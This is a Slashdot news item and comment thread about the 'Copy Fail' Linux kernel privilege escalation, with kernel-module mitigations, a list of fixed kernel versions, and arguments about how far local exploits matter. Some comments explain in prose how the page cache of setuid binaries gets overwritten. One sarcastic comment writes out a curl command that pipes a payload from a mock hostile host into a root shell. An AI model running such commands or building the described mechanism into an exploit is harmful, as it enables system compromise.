New Linux 'Copy Fail' Vulnerability Enables Root Access On Major Distros (copy.fail) 127
A newly disclosed Linux kernel flaw dubbed "Copy Fail" can let a local, unprivileged attacker gain root access on major Linux distributions, with researchers claiming the bug affects kernels shipped since 2017. "The POC exploit works out of the box today, but a future version that can escape from containers like Docker is promised soon," writes Slashdot reader tylerni7. "Technical details are available here." Slashdot reader BrianFagioli shares a report from NERDS.xyz: A newly disclosed Linux kernel vulnerability called Copy Fail (CVE-2026-31431) allows an unprivileged user to gain root access using a tiny 732-byte script, and it works with unsettling consistency across major distributions. Unlike older exploits that relied on race conditions or fragile timing, this one is a straight-line logic flaw in the kernel's crypto subsystem. It abuses AF_ALG sockets and splice to overwrite a few bytes in the page cache of a target file, such as /usr/bin/su. Because the kernel executes from the page cache, not directly from disk, the attacker can inject code into a setuid binary in memory and immediately escalate privileges.
What makes this especially concerning is how quiet it is. The file on disk remains unchanged, so standard integrity checks see nothing wrong, while the in-memory version has already been tampered with. The same primitive can also cross container boundaries since the page cache is shared, raising the stakes for multi-tenant environments and Kubernetes nodes. The underlying issue traces back to an in-place optimization added years ago, now being rolled back as part of the fix. Until patched kernels are widely deployed, this is one of those bugs that feels less like a theoretical risk and more like a practical, reliable path to full system compromise.
What makes this especially concerning is how quiet it is. The file on disk remains unchanged, so standard integrity checks see nothing wrong, while the in-memory version has already been tampered with. The same primitive can also cross container boundaries since the page cache is shared, raising the stakes for multi-tenant environments and Kubernetes nodes. The underlying issue traces back to an in-place optimization added years ago, now being rolled back as part of the fix. Until patched kernels are widely deployed, this is one of those bugs that feels less like a theoretical risk and more like a practical, reliable path to full system compromise.
Temporary mitigation: (Score:5, Informative)
Blacklist kernel module "algif_aead" ...you probably weren't using it anyway.
Re: Temporary mitigation: (Score:2)
Re: (Score:2)
rmmod algif_aead rmmod: ERROR: Module
algif_aead is builtin.
Old CentOS7 server that was never upgraded and old Rasbian/Debian Jessie based systems -- not vulnerable.
Let the fun begin! This one seems serious as I can see a lot of RHEL servers going unpatched for a long time.
Re: (Score:2)
$ cat /proc/cmdline ... initcall_blacklist=algif_aead_init
That's what RHEL is going to need until a kernel is patched...
Which will probably be pretty soon.. but anyway...
Re: (Score:2)
On my Debian stable:
rmmod: ERROR: Module algif_aead is not currently loaded
Does it means I'm not affected?
Debian's web site say it's fixed in a newer kernel release:
https://security-tracker.debia... [debian.org]
Re: (Score:2)
Module loading is typically possible to do. Remove the module from the system.
Re: (Score:2)
$ cat /proc/cmdline ... initcall_blacklist=algif_aead_init
That will do it for builtin
Configurable? (Score:3, Insightful)
Could they have made that feature a configuration switch instead of hardwiring it in? That way it could be quickly undone if it proved a problem. Or would the branching time to check the switch defeat the purpose of optimization?
Re: (Score:2)
It is configurable, e.g.:
initcall_blacklist=algif_aead_init"
Now if you meant without a reboot, well in which case that universe is way too open ended. *anything* could be a security mistake so you'd need to have each function in the kernel somehow being capable of being disabled...
Yup, this works on our student lab machines (Score:5, Interesting)
Not that I don't trust our students*, but - yeah I see lots of patching in my future...
*Even without bad intentions, these are engineering students and have been known to try stupid stuff before
Asleep at the wheel (Score:4, Informative)
Re: (Score:2)
Thanks for not calling us neckbeards. :)
Re: (Score:3)
Re: (Score:2)
Well, it fits me. (Even though I'm more a user than a system programmer.)
Re: (Score:2)
Greybeards refers to SCA fighters over 50.
Re: (Score:2)
So whose fault is it? Did the people who discovered the vulnerability not give vendors reasonable time to patch it before going public, or are those vendors just very slow to deploy a patched kernel?
If Debian had to patch it in 24 hours it sounds like there was not adequate time between disclosure and going public.
Re: (Score:2)
The Ubuntu repositories don't appear to be affected, just the ubuntu.com web site.
I patched my Ubuntu systems yesterday.
Re: (Score:2)
It's a privilege
conditionally dangerous bug (Score:2)
enterprise mitigation (Score:5, Informative)
For older enterprise distros, this mitigation method:
# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead
Does not work because algif_aead is built into the kernels.
However, this does work:
# grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
Then reboot. It will disable the vulnerable module that is built-in. I am not sure if there are any negative ramifications of having algif_aead disabled, though. Does anyone know?
Updating to a patched kernel is, of course, the better course.
See https://seclists.org/oss-sec/2... [seclists.org]
Re: (Score:2)
>"I am not sure if there are any negative ramifications of having algif_aead disabled, though. Does anyone know?"
According to my research, it isn't used on most systems.
"Disabling algif_aead typically does not break anything, as most programs use userspace libraries instead of relying on this kernel module. It is noted that only a few specific applications, like iwd and cryptsetup with certain non-default algorithms, may be affected."
Re: (Score:2)
I am not sure if there are any negative ramifications of having algif_aead disabled, though. Does anyone know?
https://copy.fail/#mitigation [copy.fail]
Discovered With AI (Score:5, Interesting)
Re: (Score:2)
I think in general we are approaching a world of "very bad" when it comes to AI discovered exploits working well. Basic economics dictate that if we need resources to address problems then a significant portion of them will remain unfixed. This means we have more known exploits out there.
Ultimately since no one should be stupid enough to allow AI to fix production code, or patch production systems, the winners here will be the ones using AI to find new ways to exploit systems.
Finally! Thank you. (Score:4, Funny)
A way to become root on my single-user home Linux Mint system w/o having to use sudo. :-)
That was fast (Score:2, Insightful)
Microsoft would have buried this kind of thing.
Apple, too.
Already fixed here. That was easy.
Re: (Score:2)
Microsoft has a history of releasing out of band patches for serious vulnerability such as this, especially when the bugs are discovered by external parties. Reality does not agree with you.
Someone's missing (Score:2)
Surprised that a certain vigorous champion of Linux and MacOS hasn't been here yet to boast that this is far less serious than any and all faults in Windows.
Of course there could be downvoted comments lurking below my threshold but I'm not going to unlock it just to see.
Re: (Score:2)
Whoever is meant by your comment could rightfully argue, that a local exploit like this one is completely shadowed by Microsoft's OWA and their Sharepoint exploits, which ravaged the whole industry only few years ago. And that person would be 100% correct with that statement.
You may begin to have a point, if we see Slashdot articles with 80+ comments about local Windows privilege escalation exploits.
Fixed kernels (Score:4, Informative)
This info seems to be relatively hidden to get as summarized form, but since I'm running Gentoo I actually wanted to know what kernel versions are affected...Anyway, here goes. Look for commit 3d14bd48e3a.
First appeared in 4.14.
Fixed in:
7.0+
6.19.12
6.18.22
6.12.85
6.6.137
6.1.170
5.15.204
5.10.254
Re: (Score:2)
While I am up to 6.18 on my desktop, it's only 6.18.18, so it will need another update. The others, (laptop and media server), will need a jump to a new kernel series. They are all older kernels.
Also use Gentoo. Everytime I think it's too much work to trouble shoot a problem, I figure it out and make the updates better. Now Gentoo updates run pretty much problem free. Even when they do go south, I use ABEs, making recovery brain dead simple: Boot the prior OS. (ABE = Alternate Boot Environment
The widely-published script does, indeed, work (Score:2)
The widely-published script does, indeed, work if you hadn't patched within the past two weeks or so.
Security agents also work by detecting and killing the spawned process on platforms that aren't patched.
Re: (Score:2)
Or if running a rhel or derivative without initcall_blacklist=algif_aead_init, then you are *still* vulnerable even if you had patched just now.
Re:Note that this is a local exploit (Score:5, Insightful)
If an attacker gets this far, you have already messed up.
Yes, because there is no such thing as a shared machine.
Seriously?
Re: Note that this is a local exploit (Score:3, Insightful)
I don't give out login accounts to people I don't trust with root. If you need to run something, I expose it as a sandboxed web service and make damn sure you're authenticated to use it.
Re: (Score:2)
Also vms. I segregate users by vms nowadays, at least group of users belonging to the same entity. There were almost always ways to escalate to root from a local user account dating back to the beginning of linux.
Don't get me wrong here, this one is a giant hole although and it need patching ASAP. I say patches should be readily available in a couple days since it's just a matter of turning the caching off as a quick first step for mitigation. Then, re-think the whole caching problem.
Re: (Score:2)
Sometimes, I wonder if we should go back to Bochs style VMs. They are painfully slow, but holes like this won't be able to punch through to the main server.
Re: (Score:3, Informative)
The reason is because the kernel/userland interface is huge and was not designed with security in mind (it was designed for efficiency, functionality, and sometimes outright braindeadedness). Even OpenBSD doesn't count local privilege escalation exploits, only remote exploits.
Re:Note that this is a local exploit (Score:4, Interesting)
Yes, comments like
If an attacker gets this far, you have already messed up.
"this far" quite obviously meaning "has the ability to login to the system"
Re: (Score:2)
For a server system? Yes. If the attacker can log in, you have messed up. Period.
If you really think you can protect a somewhat complex installation against users that can log in, you are delusional.
Re: (Score:3)
For a server system? Yes. If the attacker can log in, you have messed up. Period.
The primary hazard being discussed here is shared hosting. The whole point of shared hosting is that other people can run software on your computer, whether they can traditionally "log in" or not.
Re: (Score:2)
"this far" quite obviously meaning "has the ability to login to the system"
No. "this far" has the meaning "has the ability to execute unprivileged code". Unlike the previous stupid assertion that kernel privilege escalation vulnerabilities are dime a dozen (please show me the CVEs of open exploits), userland code facing the public internet having exploits and vulnerabilities that lead to executing code locally REALLY ARE dime a dozen. This is precisely why we run services with their own restricted user privileges and not even as the local user in the first place.
Re: (Score:2)
privilege escalation vulnerabilities are dime a dozen (please show me the CVEs of OPEN exploits)
You're an idiot and you know it, otherwise you wouldn't have added the stipulation "open"
If you just want reasonable privilege escalation vulnerabilities, there are three mentioned in TFA. Three for free, don't have to pay a dime numb nuts.
Re: (Score:2)
You are projecting hard. Obviously none of your claims are true in any way. But you sound very much like somebody that got called out and is not desperately trying to deflect the attention.
Re: (Score:2)
If an attacker gets this far, you have already messed up.
Yes, because there is no such thing as a shared machine.
Seriously?
I don't see how that changes his argument. If the people you share a system with can't be trusted to not be an attacker, you (or the computer's owners) have already messed up. Shared system implies trust has already been established for the people who have access. If that isn't the case, somebody missed step 1 in security, "Don't hand out access to people who can't be trusted."
Re: (Score:2)
Indeed. But the borderline-hysteric reactions of some people when that that very basic and obvious fact is pointed out to them shows that many are not prepared for this. And that includes people trusted to administrate such installations. Obviously, this instance of widespread denial is part of the problem and not a positive indicator for actual competence or insight into the situation.
The fact of the matter is that the first, and most important security barrier is to keep untrusted people out of the system
Re: Note that this is a local exploit (Score:5, Funny)
Re: Note that this is a local exploit (Score:3)
What about environments with shared computers though? Think schools, universities. That's a legitimate usage.
Re: Note that this is a local exploit (Score:3, Funny)
Re: (Score:3)
Re: (Score:2)
If people willing to run malicious scripts have logged-in access to your "very expensive application" server, you're already fucked.
Re: (Score:2)
Indeed. These would be insider attacks and you cannot effectively protect against them on the technology side. Even if stupid people always are calling for that and think it is possible.
Re: (Score:2)
Re:Note that this is a local exploit (Score:5, Informative)
I hate how this reasoning persists. It is just so disconnected from the real world.
So should large organizations just not bother with least privilege and normal users? Everyone might as well be root, if one with bad intentions gets access to a system, well they should be assumed to just be root anyways?
I mean, in a company with even 100 people, if one of their accounts gets compromised, or one of them goes rogue, "you have already messed up" really isn't the point. I used to run a data ingest system where we gave limited shell accounts to somewhere around 1,000 clients, plenty of similar but much larger systems are out there. No one *at my company* had messed up in any way if one of those accounts went rogue. Tons of systems like that exist, it's not some edge case.
Re: (Score:2)
Again, no one saying this is no big deal. What they're saying is not every Dick and Harry off IRC can r00t your box.
Usually it's people you've already vetted to some degree, whose personal information you have, who will still leave a trace of activity, if you log your system activity remotely, etc. That's a very different scenario from randomly exploiting some system from behind 4 public proxies.
Re: (Score:2)
Indeed. It also means that on machines were you have no hostile users, you have more time to patch. One of the most important things in such a such a situation as this is to patch the most vulnerable machines first.
Re: (Score:2)
And again, you are projecting hard. I can only conclude you have a host of personal issues, felt called out and are now in full panic mode.
Re: (Score:2)
Everyone might as well be root, if one with bad intentions gets access to a system, well they should be assumed to just be root anyways?
That's how AWS does it.
I used to run a data ingest system where we gave limited shell accounts to somewhere around 1,000 clients, plenty of similar but much larger systems are out there. No one *at my company* had messed up in any way if one of those accounts went rogue.
If they have hacking skills, the "limited shell access" wouldn't be limited long. Giving someone local access is insecure.
Re: (Score:2)
I hate how this reasoning persists. It is just so disconnected from the real world.
So should large organizations just not bother with least privilege and normal users? Everyone might as well be root, if one with bad intentions gets access to a system, well they should be assumed to just be root anyways?
In all fairness privilege escalation vulns are ubiquitous. The execution environment of a general purpose operating system is enormous.
Re:Note that this is a local exploit (Score:5, Interesting)
We've been in the cloud era 15 years now. Docker hosts, Kubernetes pods, Lambdas, Even old fashion cpanel hosts. All of these are at risk, even if the users are otherwise doing everything right.
Re: (Score:3)
We've been in the cloud era 15 years now. Docker hosts, Kubernetes pods, Lambdas, Even old fashion cpanel hosts. All of these are at risk, even if the users are otherwise doing everything right.
The people who have shell access to the k8s hypervisor or worker nodes probably have root access anyway. Getting root access to the container pods does not buy you much beyond what you get by getting access to the service's shell account. At that point you can already read whatever secrets were injected via environment variables, read application log files, etc.
The main vulnerability strikes me as being on shared untrusted jump boxes, or like you mentioned, old school cpanel multiuser shell-based hosting
Re: Note that this is a local exploit (Score:2)
Note that they explicitly say containers do not isolate the page cache, so this also counts as an escape from container isolation.
Re: (Score:2)
I always find it fascinating when people mistake containers for security isolation. They are not. They cannot be. That is not their purpose.
Re: (Score:2)
They absolutely have the aspirations for containers to provide security isolation, hence the concept of a 'container escape' being a CVE worthy thing.
I do agree that people that leave their services wide open to any TCP peer but think network namespace isolation is sufficient are overplaying their hand, but so many cgroup features and namespaces are pretty pointless *except* if they are intended as a security mechanism.
This shows the flaw of the philosophy, that containers are a bit too open ended to be as
Re: (Score:2)
There may be a misunderstanding in many people that think containers are security isolation. But they are not fit for that purpose. The whole approach is not suitable to provide security.
Re: (Score:2)
We've been in the cloud era 15 years now. Docker hosts, Kubernetes pods, Lambdas, Even old fashion cpanel hosts. All of these are at risk, even if the users are otherwise doing everything right.
People who thought it to be a good idea that code you cannot trust from people you cannot trust is isolated from other sensitive information just by the thin layer of container features, while still sharing the same huge kernel interface, I/O, page cache etc., certainly have to learn the hard way that they turned what was previously a very moderate risk - "local privilege escalation" - into a much worse security breach. Likewise the irresponsible people who introduced omnipresent code-download-then-execute
Re: (Score:2)
Exactly. I mean, actual security experts do not even think the question whether "root" in a container can break out of that container is an interesting question. Actual experts assume it is possible and they are generally correct.
You do not execute code from untrusted sources outside of heavily secured sandboxes made specifically for that purpose, period. There is no reasonable way to secure this in any regular context. That is also why "executable code in non-executable containers" (think word-files, etc.)
Re: (Score:3)
Imagine running a research HPC system for academics right now.
For the vast majority of cases, sure. For some specific types of systems, it's very normal to have only semi-restricted access, folks who like to poke things as regular users and specific interest from big players who'd love access to the research data those users aren't even trying to protect.
Re: (Score:2)
That one is really not a problem. They want to get their research done. And if they start to hack, they are going to get banned from the very machines they need to do that. One reason why I remind my students that they are subject to quite a few of the same laws as employees are and that on malicious activities they may not only lose their enrollment but may become liable to pay for any and all damage they do.
Most find that quite reasonable. Those that want to hack to learn do it on their own systems or on
Re: (Score:3)
There was a catastrophic auth bypass CVE for CPanel the same day.
Chaining is just normal these days.
Re:Note that this is a local exploit (Score:4, Insightful)
It relies upon the ability to run a shell script. So essentially any cascading list of failures can result in this exploit being used. If Chrome has a buffer overflow, you can get root from that. If a library you're using via NPM, Composer, Rubygems, PIP, etc, is ever compromised, you'll be exploitable when you add it to your project, even though you never went near sudo.
Not to mention the fact that it's become ridiculously popular lately to instruct people to install, for example, new programming languages that are totally safe and built with security in mind *cough* Rust, by getting devs to type things like:
(And in Rust's case, they really really want you to do it that way. *SIGH* FFS Rust people! You have a great idea going but you are RUINING it with this type of thing!)
Anyway, the point is you run arbitrary crap more than you think you do, and even if you didn't, things you rely on do sometimes have problems with them.
You need to patch this one now.
Re: (Score:2)
No no, that's not how these things ask you to install the software, it is instead:
$ curl -k https://hackmypc.ru/payload.sh [hackmypc.ru] | sudo sh -
Of course, I find that super sketchy, *however* it's not really any safer to do, for example:
$ rpm -Uvh https://hackmypc.ru/payload.rp... [hackmypc.ru]
Or any variant that would involve copr/ppa/etc
Re: (Score:2)
Indeed. Once you think peak stupid has been reached, something like this comes along.
Re:Note that this is a local exploit (Score:4, Informative)
No, right now it's literally impossible to be a professional in the industry right now and not use something like NPM, Composer, or whatever. Most of us don't have any choice. And likewise, if someone finds an exploit in a common web browser and you don't know this, how the fuck are you supposed to mitigate from it?
Re: (Score:3)
Well, not impossible. Some of us are still delivering multi-million contracts using GCC and a text editor, but yes it's increasingly rare to do something that's built entirely from your own source.
Re: (Score:2)
OK, true, there are some jobs available where it isn't a practical requirement. But unfortunately pretty much any job that involves any of the languages covered by the above list generally ends up with the programmer having to use those tools.
(FWIW I resisted as much as I could at my last job, but we still had to use composer to build a plugin because updates to the plugin had stopped being available by more normal routes, and we had too much already dependent upon it. So now, because of a completely unnece
Re: (Score:2)
My take is this will change over the next 10 years or so. Somewhat advanced attacks are now within reach for what used to be script-kiddies because of LLMs. Well-secured environments will be not be impacted much, but the typical ones with half-assed security will be.
I think amateur-hour in software production and system administration is over. I may be subject to wishful thinking here, admittedly.
Re: (Score:2)
While I generally agree this is a huge freaking deal, if you are hit by a supply chain attack from npm dependencies, while the escalation is a new level of bad, you were already pretty well screwed. E.g. the xkcd:
https://xkcd.com/1200/ [xkcd.com]
Your software has privilege to all sorts of stuff just as important to you as the platform you are running on.
As an industry, we have been way too sloppy about 'auto-grab code and run whatever it is'.
Re: (Score:2)
And in actual reality, you are the problem here. And you are aggressive about it because you are deathly afraid somebody may notice.
Re: Note that this is a local exploit (Score:2)
So might as well spread your cheeks then?
Re: (Score:2)
No. Understand defense in depth. And act accordingly.
Re: (Score:2)
If some attack can steal 'root' from you, why are you logging in as 'root' in the first place?
Re: (Score:2)
On some (very few) production systems, it is possible to severely restrict root. I have worked in such environments. On debugging a production problem that does not happen in test, you do things like reboot with parameters and a formal exception and a separate 2FA for that. But in most environments that is not something you can realistically do and hence root remains unrestricted.
Re: (Score:2)
Not sure what you mean.
I log in as "kriston" and run the script and I become "root."
Just the same as "sudo su -" but without the credential-checking part.
Re: (Score:2)
What?
You don't need to be able to have root as a 'login' account for this to work. The example exploit replaces the cached content of 'su' with a binary that just runs 'sh' with setuid 0.
The general mechanism permits any file to be rewritten in cache with whatever you like, trivially. The most dramatic thing is to rewrite some executable with privileges, but you can modify the read cache of *anything*.
Re: And this is why (Score:5, Informative)
Re: (Score:2)
Doesn't matter. The attack still fails completely.
Re: And this is why (Score:2)
This isn't correct. Immutability won't save you here.
Re: And this is why (Score:5, Interesting)
Immutable distros still have writable parts of the disk.
typically the setup is /usr or the base OS image: read-only / atomically updated /etc: often writable or layered /var: writable /home: writable /tmp: writable
containers / flatpaks / app data: writable
and then on top of that you'll still have all of these places where something can put binaries, steal credentials, and hide itself across restarts on your perfect immutable machine /home/ /var/tmp /tmp /var/lib/ /var/cache/ /var/log/
container writable layers
upload directories
SQLite/db files
app config/state
user-level systemd/OpenRC/autostart equivalents
browser/profile dirs
SSH config/keys if permissions allow
and that's just desktop workstations. on the server side you've got whatever http(s) server dejour of the day running threads through whatever fcgi nonsense
and then on a modern corp setup you've got people flying around with claude and codex and therefor npm nonsense flying around everywhere and random node binaries in ps aux compiling random shit
Look it helps and most immutable distros are so eccentric no one bothers to try to exploit them for realsies but don't expect to be safe until you patch your kernel.
Re: (Score:2)
While the popular demonstrater may fail because, for example, maybe su isn't there or in a different location or whatever, the risk is still there.
This exploit allows any process to rewrite the read cache of *any file*. The demonstrator picks on su, replacing it with a short binary that just immediately calls 'sh', but the fact is that the read cache of anything can be rewritten to do whatever the attacker would want.
Do not think your affinity for immutable distributions makes you immune to these issues. N
Re: And this is why (Score:2)
Re: (Score:2)
W^X [wikipedia.org]? As implemented in PaX, Exec Shield, SELinux. Which all Linux distros have and no Linux user ever uninstalls or disables. Or something.
Immutability and W^X don't prevent this (Score:4, Informative)
Immutable distributions, in Linux parlance, run on a read-only root filesystem that is swapped for the next boot if there are any updates. Usually, you can use one or more snapshots to roll back to the (or a) previous version if an update fails.
What this attack is doing is not helped by immutability under that definition: it's entirely in memory and works only as long as the target executable is in memory. It first reads the target executable into the disk cache and asks a specific kernel module to encrypt it with a splice() system call to avoid copying the disk cache page elsewhere. Except that specific kernel module overwrites 4 bytes past the end of its buffer, so if you ask for a 32-byte buffer starting at /usr/bin/su byte 696, you can write bytes 728-731, directly in the system's disk cache. And then you can just keep looping to write any arbitrary string of multiples of 4 bytes into what the kernel considers to be a current copy of the latest data on disk for that file, up to that file's size. It's also not marked as dirty, so it never gets written to disk and only gets evicted with normal disk cache operations.
Now, while the attack only works as long as the targetted executable is in the disk cache, that's not much of a problem in practice, because the disk cache often survives the few microseconds needed to set up the required system calls. And once you finally execute the binary as setuid root, Linux consults the disk cache, finds it has a version already and runs it. But you now have a root shell, all without a single disk write, and can now begin to remount filesystems read-write to establish persistence.
Answering a sibling comment, write-xor-execute (W^X) memory doesn't give any protection here either, because a kernel module is performing the write. Write protection on executable pages is provided by the CPU operating in user mode.
Re: (Score:2)
It seems to not matter, the few immutable distros I tested on prevent the attack from working. Unless they saw the flaw before it was published and patched it themselves.
Re: (Score:3)
It seems not every distribution ships with the vulnerable module, built-in or loadable, either. That could be another factor, too.
On my Ubuntu 26.04 host, all patched up to yesterday, lsmod as root shows only algif_hash and algif_skcipher, not algif_aead.
Re: (Score:3)
Pretty sure I figured it out. The immutable distros I tested have strict security policies that block the exploit. Which still leads me back to immutable distros are superior, because they all seem to have actual security that most of the Linux ecosystem sorely lacks - like anything that still ships with the god awful shit show that is X11.
Re: (Score:2)
If I tell my local jail broken LLM to work on using this exploit for your specific distro how confident are you that it won't hack it after a few hours of effort?
Re: (Score:2)
> strict security policies that block the exploit
Which policies block this exploit? The only mention of security policies mitigating this flaw is from grapheneOS : https://discuss.grapheneos.org... [grapheneos.org]
Re: (Score:3, Informative)
Somewhere I had read the initial optimization that lead to this vulnerability was entered into the mainline kernel in 2017, maybe that will give you something to go on.
Re: earliest kernel containing this vulnerability (Score:3)